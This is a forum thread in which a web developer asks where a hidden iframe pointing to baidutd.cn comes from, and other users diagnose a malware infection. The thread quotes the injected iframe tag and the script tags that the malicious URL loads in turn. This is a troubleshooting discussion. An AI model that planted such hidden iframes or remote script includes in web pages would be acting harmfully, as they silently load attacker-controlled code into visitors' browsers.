where is the iframe coming from?

[obuwebco]

So when working on a custom website i noticed on page load a little iframe popped up.

looking closer it is:
<iframe height="0" width="100" src="http://baidutd.cn/sky/ms.htm?vip8">

The iframe seems to load at random.. i can refresh the page.. and it will be there for 5-7 pages loads.. then disappear for 5-7 more.. and come back

I turned off all javascript, went through all the files.. looked and looked and looked.. and could not find anything.

I was beginning to think it was not the site files in question.

So, i created a file called a new file, in a new directory, under a different domain, with the text "word" on it.. no html tags.. not php just .. just the 4 characters.

Pull the file up in a broswer.... what do you know. the Iframe shows up.

I am on a MAC w/leopard using firefox 3 and safari 3.. and it appears in both.

where the heck is this thing coming from? Is the browser infected? or one of the firefox addons? or Apache? help.

see this screen shot
iframe-where on Flickr - Photo Sharing!

[Tech Manager]

Take a look here.

You've been infected.

[advancedmerchant]

Does the iframe appear on other machines?
What is the URL of the original page and the "test" page you made?

"Troubleshooting is a process of asking a number of easy-to-answer questions that each divide the problem in half. After enough of these questions have been answered, the solution is intuitively obvious to the casual observer"

[incrediblehelp]

Looks like you have been hacked.

[deepsand]

The cited URL in turn calls more JS.

<script language=javascript src=add.jpg></script>

<script language="javascript" type="text/javascript" src="http://js.users.51.la/1694158.js"></script>

<noscript><a href="ÕÕ³£ÉÏÁ¿Í³¼Æ±¨¸æ - ¡°ÎÒÒªÀ²¡±Ìṩ" target="_blank"><img alt="&#x6211;&#x8981;&#x5566;&#x514D;&#x8D39;&#x7E DF;&#x8BA1;" src="http://img.users.51.la/1694158.asp" style="border:none" /></a></noscript> ,

which in turn ... .

Quick guess - your machine has been infected by malware.

[obuwebco]

I called in the security guys.. they are going through it all. I'll post results.